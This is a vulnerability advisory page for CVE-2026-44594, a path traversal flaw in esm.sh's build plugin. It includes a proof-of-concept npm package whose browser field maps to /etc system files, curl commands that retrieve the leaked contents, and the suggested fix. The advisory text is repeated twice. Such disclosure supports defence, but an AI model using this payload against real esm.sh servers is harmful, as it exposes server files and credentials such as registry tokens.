Skip to main content

Ubuntu CVE-2026-44594

| EUVDEUVD-2026-32911 HIGH
Path Traversal (CWE-22)
2026-05-12 https://github.com/esm-dev/esm.sh GHSA-rg65-45m7-hq57
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

1
CVE Published
May 12, 2026 - 22:22 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Details

The vulnerable code is in the OnResolve callback of the esbuild plugin:

https://github.com/esm-dev/esm.sh/blob/main/server/build.go

The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.

go
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}

// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
	if path, ok := pkgJson.Browser[modulePath]; ok {
		if path == "" {
			return esbuild.OnResolveResult{
				Path:      args.Path,
				Namespace: "browser-exclude",
			}, nil
		}
		if !isRelPathSpecifier(path) {
			externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
			if err != nil {
				return esbuild.OnResolveResult{}, err
			}
			return esbuild.OnResolveResult{
				Path:        externalPath,
				SideEffects: sideEffects,
				External:    true,
			}, nil
		}
		modulePath = path
	}
}


// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check

File contents appear in both the bundled JS output and the source map sourcesContent array.

Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).

Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.

PoC

The test package is published at https://www.npmjs.com/package/chess-sec-utils1

package.json:

json
{
  "name": "chess-sec-utils1",
  "version": "1.0.6",
  "main": "index.js",
  "type": "module",
  "browser": {
    "./d1.txt": "../../../../../../../../etc/hostname",
    "./d2.json": "../../../../../../../../etc/os-release",
    "./d3.json": "../../../../../../../../etc/environment"
  }
}

index.js:

js
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
bash
npm publish
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"

Server file contents in source map response:

json
{
  "sourcesContent": [
    "ideapad\n",
    "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
    "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
    "import d1 from \"./d1.txt\"..."
  ]
}

<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />

Impact

An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.

Fix

Add a path validation check after the browser field remapping:

go
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}

Credit

Svyatoslav Berestovsky of Metascan

Analysis

Summary

A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Details

The vulnerable code is in the OnResolve callback of the esbuild plugin:

https://github.com/esm-dev/esm.sh/blob/main/server/build.go

The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.

go
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}

// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
	if path, ok := pkgJson.Browser[modulePath]; ok {
		if path == "" {
			return esbuild.OnResolveResult{
				Path:      args.Path,
				Namespace: "browser-exclude",
			}, nil
		}
		if !isRelPathSpecifier(path) {
			externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
			if err != nil {
				return esbuild.OnResolveResult{}, err
			}
			return esbuild.OnResolveResult{
				Path:        externalPath,
				SideEffects: sideEffects,
				External:    true,
			}, nil
		}
		modulePath = path
	}
}


// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check

File contents appear in both the bundled JS output and the source map sourcesContent array.

Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).

Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.

PoC

The test package is published at https://www.npmjs.com/package/chess-sec-utils1

package.json:

json
{
  "name": "chess-sec-utils1",
  "version": "1.0.6",
  "main": "index.js",
  "type": "module",
  "browser": {
    "./d1.txt": "../../../../../../../../etc/hostname",
    "./d2.json": "../../../../../../../../etc/os-release",
    "./d3.json": "../../../../../../../../etc/environment"
  }
}

index.js:

js
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }
bash
npm publish
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"

Server file contents in source map response:

json
{
  "sourcesContent": [
    "ideapad\n",
    "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
    "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
    "import d1 from \"./d1.txt\"..."
  ]
}

<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />

Impact

An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.

Fix

Add a path validation check after the browser field remapping:

go
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}

Credit

Svyatoslav Berestovsky of Metascan

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Share

CVE-2026-44594 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy